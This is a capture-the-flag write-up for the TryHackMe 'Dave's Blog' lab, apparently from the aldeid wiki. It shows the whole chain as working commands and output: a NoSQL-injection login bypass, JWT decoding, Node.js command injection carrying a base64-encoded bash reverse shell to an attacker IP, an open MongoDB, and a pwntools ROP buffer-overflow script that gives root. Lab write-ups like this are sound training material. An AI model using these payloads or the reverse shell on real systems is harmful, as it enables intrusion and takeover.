TryHackMe-Dave-s-Blog

From aldeid
Jump to navigation Jump to search

Dave’s Blog

My friend Dave made his own blog! You should go check it out.

Flag 1

Hint: What’s there to inject when there’s no SQL?

Services enumeration

Let’s start by enumerating the services running on the target:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA)
|   256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA)
|_  256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: Dave's Blog
3000/tcp open  http    Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: Dave's Blog

Web enumeration

Connecting on the web server shows a basic blog with only 1 post. No link is available, but the post tells us that it is using a NoSQL database.

There is a robots.txt file that discloses an /admin location:

kali@kali:/data/Dave_s_Blog$ curl -s http://10.10.139.182/robots.txt
User-Agent: *
Disallow: /admin

Admin

Connecting to /admin shows an authentication form. The source code of the page reveals that the credentials are passed as JSON.

<!DOCTYPE html>
<html>

<head>
  <title>Login | Dave's Blog</title>
  <link rel='stylesheet' href='/stylesheets/style.css' />
</head>

<body>
  <h1>Login</h1>

  <form method="POST">
    <input type="text" name="username" placeholder="username" /> <br />
    <input type="password" name="password" placeholder="password" /> <br />
    <input type="submit" value="Log in" />
  </form>

  Don't have an account? Click <a href="/admin/register">here</a> to register!

  <script>
    if(document.location.hash) {
      const div = document.createElement('div')
      div.innerText = decodeURIComponent(document.location.hash.substr(1));
      div.className = 'note';
      document.body.insertBefore(div, document.body.firstChild);
    }
    document.querySelector('form').onsubmit = (e) => {
      /*e.preventDefault();
      const username = document.querySelector('input[type=text]').value;
      const password = document.querySelector('input[type=password]').value;

      fetch('', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({username, password})
      }).then(() => {
        location.reload();
      })
      return false;*/
    }
  </script>
</body>

</html>

Checking on the Internet how to bypass JSON authentication led me to this post (https://book.hacktricks.xyz/pentesting-web/nosql-injection) where I was able to replicate the examples by injecting {"$ne": "foo"} in the username and password fields:

kali@kali:/data/Dave_s_Blog$ curl -D header.txt -H "Content-Type: application/json" -XPOST -d '{"username":{"$ne": "foo"},"password":{"$ne": "foo"}}' http://10.10.139.182/admin
Found. Redirecting to /admin
kali@kali:/data/Dave_s_Blog$ cat header.txt 
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 23 Sep 2020 07:05:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE2MDA4NDQ3MDR9.nioG_MjIcRGJ3PObm0QcDv_eIqRU6baBCYAi7aRWVPw; Path=/
Location: /admin
Vary: Accept

It provided me with a JWT token that we can decode (base64). The password field contains the first flag.

kali@kali:/data/Dave_s_Blog$ export IFS=".";jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE2MDA4NDQ3MDR9.nioG_MjIcRGJ3PObm0QcDv_eIqRU6baBCYAi7aRWVPw";for j in $jwt; do echo "$j" | base64 -d;done
{"alg":"HS256","typ":"JWT"}{"isAdmin":true,"_id":"5ec6e5cf1dc4d364bf864107","username":"dave","password":"THM{SuperSecureAdminPassword123}","__v":0,"iat":1600844704}�*base64: invalid input

Flag 1: THM{SuperSecureAdminPassword123}

Flag 2 / User flag

Now provided with credentials (dave:THM{SuperSecureAdminPassword123}), we can login and execute commands, as described in this post.

I was not able to execute commands using the below format:

{"exec":"require('child_process').exec('<command>');"}

But this format worked:

{"exec":"require('child_process').execSync('<command>').toString();"}

Let’s make a reverse shell. We’ll first encode it in base64:

$ echo -n "bash -i >& /dev/tcp/10.8.50.72/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUwLjcyLzQ0NDQgMD4mMQ==

Start a listener (rlwrap nc -nlvp 4444) and intercept the authentication request in Burp Suite and modify it as follows:

POST /admin/exec HTTP/1.1
Host: 10.10.139.182
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.139.182/admin
Content-Type: application/json
Origin: http://10.10.139.182
Content-Length: 140
Connection: close
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE2MDA4NDQ4MTd9.iYAlMdDV6SaG8TWaDiMyFfS2v69HYoRgFzfUhSMJ2bo

{"exec":"require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUwLjcyLzQ0NDQgMD4mMQ== | base64 -d | bash').toString();"}

A reverse shell is now spawned to our listener window:

kali@kali:/data/vpn$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.139.182] 47686
bash: cannot set terminal process group (814): Inappropriate ioctl for device
bash: no job control in this shell
dave@daves-blog:~/blog$ cd /home
cd /home
dave@daves-blog:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 May 21 20:27 .
drwxr-xr-x 24 root root 4096 May 21 20:28 ..
drwxr-xr-x  5 dave dave 4096 May 22 13:32 dave
dave@daves-blog:/home$ cd dave
cd dave
dave@daves-blog:~$ ls -la
ls -la
total 44
drwxr-xr-x  5 dave dave 4096 May 22 13:32 .
drwxr-xr-x  3 root root 4096 May 21 20:27 ..
lrwxrwxrwx  1 dave dave    9 May 21 20:29 .bash_history -> /dev/null
-rw-r--r--  1 dave dave  220 May 21 20:27 .bash_logout
-rw-r--r--  1 dave dave 3771 May 21 20:27 .bashrc
drwxr-xr-x  9 dave dave 4096 Sep 23 05:46 blog
drwxrwxr-x  3 dave dave 4096 May 21 20:38 .local
drwxrwxr-x 94 dave dave 4096 May 21 20:34 .npm
-rw-r--r--  1 dave dave  807 May 21 20:27 .profile
-rw-rw-r--  1 dave dave   66 May 21 20:38 .selected_editor
-rwxr-xr-x  1 root root  137 May 22 13:32 startup.sh
-rw-rw-r--  1 dave dave   38 May 21 20:45 user.txt
dave@daves-blog:~$ cat user.txt
cat user.txt
THM{5fa1f779d1835367fdcfa4741bebb88a}

Flag 3

Hint: mongo deeper

MngoDB is running on port 27017 for localhost only:

dave@daves-blog:~$ netstat -putan
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53682         127.0.0.1:27017         ESTABLISHED 1050/node           
tcp        0      0 127.0.0.1:27017         127.0.0.1:53688         ESTABLISHED -                   
tcp        0      0 127.0.0.1:27017         127.0.0.1:53682         ESTABLISHED -                   
tcp        0      0 127.0.0.1:53980         127.0.0.1:27017         ESTABLISHED 1050/node           
tcp        0    612 10.10.139.182:22        10.8.50.72:37676        ESTABLISHED -                   
tcp        0      0 127.0.0.1:53688         127.0.0.1:27017         ESTABLISHED 1050/node           
tcp        0      0 127.0.0.1:27017         127.0.0.1:53980         ESTABLISHED -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::3000                 :::*                    LISTEN      1050/node           
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 10.10.139.182:68        0.0.0.0:*                           -         

Checking on the configuration file confirms hat no password is required to connect, and that there is a daves-blog database:

dave@daves-blog:~/blog$ cat app.js 

[REDACTED]

mongoose.connect('mongodb://localhost:27017/daves-blog', {
  useNewUrlParser: true
});

[REDACTED]

Let’s connect to the Mongo database:

dave@daves-blog:~/blog$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
    http://docs.mongodb.org/
Questions? Try the support group
    http://groups.google.com/group/mongodb-user
Server has startup warnings: 
2020-09-23T05:44:11.028+0000 I STORAGE  [initandlisten] 
2020-09-23T05:44:11.028+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2020-09-23T05:44:11.028+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2020-09-23T05:45:46.741+0000 I CONTROL  [initandlisten] 
2020-09-23T05:45:46.819+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2020-09-23T05:45:46.819+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2020-09-23T05:45:46.819+0000 I CONTROL  [initandlisten] 

Let’s select the daves-blog database and list the collections:

> use daves-blog
switched to db daves-blog
> db.collections
daves-blog.collections
> show collections
posts
users
whatcouldthisbes

One collection seems interesting, let’s check what in it:

> db.whatcouldthisbes.find().pretty()
{
    "_id" : ObjectId("5ec6e5cf1dc4d364bf864108"),
    "whatCouldThisBe" : "THM{993e107fc66844482bb5dd0e4c485d5b}",
    "__v" : 0
}

Flag 3: THM{993e107fc66844482bb5dd0e4c485d5b}

Flag 4

Checking dave’s privileges reveals that we can execute /uid-checker as root with sudo, without password:

dave@daves-blog:~/blog$ sudo -l
Matching Defaults entries for dave on daves-blog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dave may run the following commands on daves-blog:
    (root) NOPASSWD: /uid_checker

Running the executable shows an interactive menu with 2 choices, to display our user or group ID. Checking the strings discloses another flag.

dave@daves-blog:~$ strings /uid_checker 
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
printf
getgid
system
getuid
strcmp
__libc_start_main
GLIBC_2.2.5
__gmon_start__
AWAVI
AUATL
[]A\A]A^A_
How did you get here???
/bin/sh
Welcome to the UID checker!
Enter 1 to check your UID or enter 2 to check your GID
Your UID is: %d
Your GID is: %d
THM{runn1ng_str1ngs_1s_b4sic4lly_RE}
Wow! You found the secret function! I still need to finish it..
Invalid choice

[REDACTED]

Flag 4: THM{runn1ng_str1ngs_1s_b4sic4lly_RE}

Flag 5 / Root flag

Hint: from pwn import *

Running strings revealed the presence of /bin/sh, which seems interesting, as the program is run with privileges. Let’s download it and do a bit of reverse engineering.

Below is the pseudo C code reversed in Hopper:

void secret() {
    puts("How did you get here???");
    system("/bin/sh");
    return;
}

int main(int arg0, int arg1) {
    puts("Welcome to the UID checker!\nEnter 1 to check your UID or enter 2 to check your GID");
    gets(&var_50);
    rax = strcmp(&var_50, 0x40089b);
    if (rax == 0x0) {
            rax = printf("Your UID is: %d\n", getuid());
    }
    else {
            rax = strcmp(&var_50, 0x4008ae);
            if (rax == 0x0) {
                    rax = printf("Your GID is: %d\n", getgid());
            }
            else {
                    rax = strcmp(&var_50, "THM{runn1ng_str1ngs_1s_b4sic4lly_RE}");
                    if (rax == 0x0) {
                            rax = puts("Wow! You found the secret function! I still need to finish it..");
                    }
                    else {
                            rax = puts("Invalid choice");
                    }
            }
    }
    return rax;
}

As we can see, calling the secret() function will spawn a root shell, but the function is not called anywhere from main(). If we want to be able to access it, we’ll need a buffer overflow. Let’s use ropstar to automatically get the information we need:

kali@kali:/data/src/ropstar$ python3 ropstar.py /data/Dave_s_Blog/files/uid_checker

[REDACTED]

[+] Offset: 88
[*] Checking for leakless exploitation
[*] Using local target
[+] Starting local process '/data/Dave_s_Blog/files/uid_checker' argv=[b'/data/Dave_s_Blog/files/uid_checker'] : pid 6076
[*] Exploit: gets(bss); system(bss)
[*] Loading gadgets for '/data/Dave_s_Blog/files/uid_checker'
[*] 0x0000:         0x400803 pop rdi; ret
    0x0008:         0x601060 [arg0] rdi = 6295648
    0x0010:         0x4005b0
    0x0018:         0x400803 pop rdi; ret
    0x0020:         0x601060 [arg0] rdi = 6295648
    0x0028:         0x400570

[REDACTED]

Now, let’s automate the exploitation with the below python script:

#!/usr/bin/env python3

from pwn import cyclic
from pwnlib.tubes.ssh import ssh
from pwnlib.util.packing import p64

offset = 88
payload = cyclic(offset)
payload += p64(0x400803) # pop rdi; ret
payload += p64(0x601060) # [arg0] rdi = 6295648
payload += p64(0x4005b0)
payload += p64(0x400803) # pop rdi; ret
payload += p64(0x601060) # [arg0] rdi = 6295648
payload += p64(0x400570)

s = ssh(host='10.10.139.182', user='dave')
p = s.process(['sudo', '/uid_checker'])
print(p.recv())
p.sendline(payload)
print(p.recv())
p.sendline("/bin/sh")
p.interactive()

Running our script will automatically connect (SSH) to the target, run the program and inject the payload that will overflow it to spawn a shell.

kali@kali:/data/Dave_s_Blog/files$ ./rop.py 
[+] Connecting to 10.10.139.182 on port 22: Done
[*] [email protected]:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process 'sudo' on 10.10.139.182: pid 4972
b'Welcome to the UID checker!\n'
b'Enter 1 to check your UID or enter 2 to check your GID\n'
[*] Switching to interactive mode
Invalid choice
# $ id
uid=0(root) gid=0(root) groups=0(root)
# $ cd /root
# $ ls -la
total 48
drwx------  6 root root 4096 May 22 13:32 .
drwxr-xr-x 24 root root 4096 May 21 20:28 ..
lrwxrwxrwx  1 root root    9 May 21 20:30 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 May 21 20:26 .cache
-rw-------  1 root root  161 May 21 20:48 .dbshell
drwx------  3 root root 4096 May 21 20:26 .gnupg
drwxr-xr-x  3 root root 4096 May 21 20:26 .local
lrwxrwxrwx  1 root root    9 May 21 20:46 .mongorc.js -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   38 May 21 20:57 root.txt
-rw-r--r--  1 root root   66 May 21 20:44 .selected_editor
-rw-r--r--  1 root root   87 May 22 13:31 setup.sh
drwx------  2 root root 4096 May 21 17:48 .ssh
# $ cat root.txt
THM{a0a9c4f6809c84e212ac889d39b9cb48}

Root flag: THM{a0a9c4f6809c84e212ac889d39b9cb48}

Comments

Keywords: jwt nodejs json mongodb collections buffer overflow rop ropstar pwn